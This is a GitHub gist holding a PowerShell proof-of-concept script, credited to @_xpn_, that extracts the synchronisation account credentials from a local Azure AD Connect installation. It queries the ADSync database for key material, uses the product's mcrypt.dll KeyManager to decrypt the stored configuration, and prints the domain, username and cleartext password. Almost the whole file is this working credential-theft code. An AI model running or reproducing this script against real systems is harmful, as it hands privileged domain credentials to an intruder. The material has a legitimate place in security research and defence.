Created
January 14, 2020 07:29
-
-
Save sn4k3-meyer/37d3f45a2ab9f661a3efaa152663c647 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Write-Host “AD Connect Sync Credential Extract POC (@_xpn_)`n” | |
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(local);Database=ADSync;Integrated Security=sspi" | |
$client.Open() | |
$cmd = $client.CreateCommand() | |
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" | |
$reader = $cmd.ExecuteReader() | |
$reader.Read() | Out-Null | |
$key_id = $reader.GetInt32(0) | |
$instance_id = $reader.GetGuid(1) | |
$entropy = $reader.GetGuid(2) | |
$reader.Close() | |
$cmd = $client.CreateCommand() | |
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" | |
$reader = $cmd.ExecuteReader() | |
$reader.Read() | Out-Null | |
$config = $reader.GetString(0) | |
$crypted = $reader.GetString(1) | |
$reader.Close() | |
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll’ | |
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager | |
$km.LoadKeySet($entropy, $instance_id, $key_id) | |
$key = $null | |
$km.GetActiveCredentialKey([ref]$key) | |
$key2 = $null | |
$km.GetKey(1, [ref]$key2) | |
$decrypted = $null | |
$key2.DecryptBase64ToString($crypted, [ref]$decrypted) | |
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}} | |
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}} | |
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}} | |
Write-Host ("Domain: " + $domain.Domain) | |
Write-Host ("Username: " + $username.Username) | |
Write-Host ("Password: " + $password.Password) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment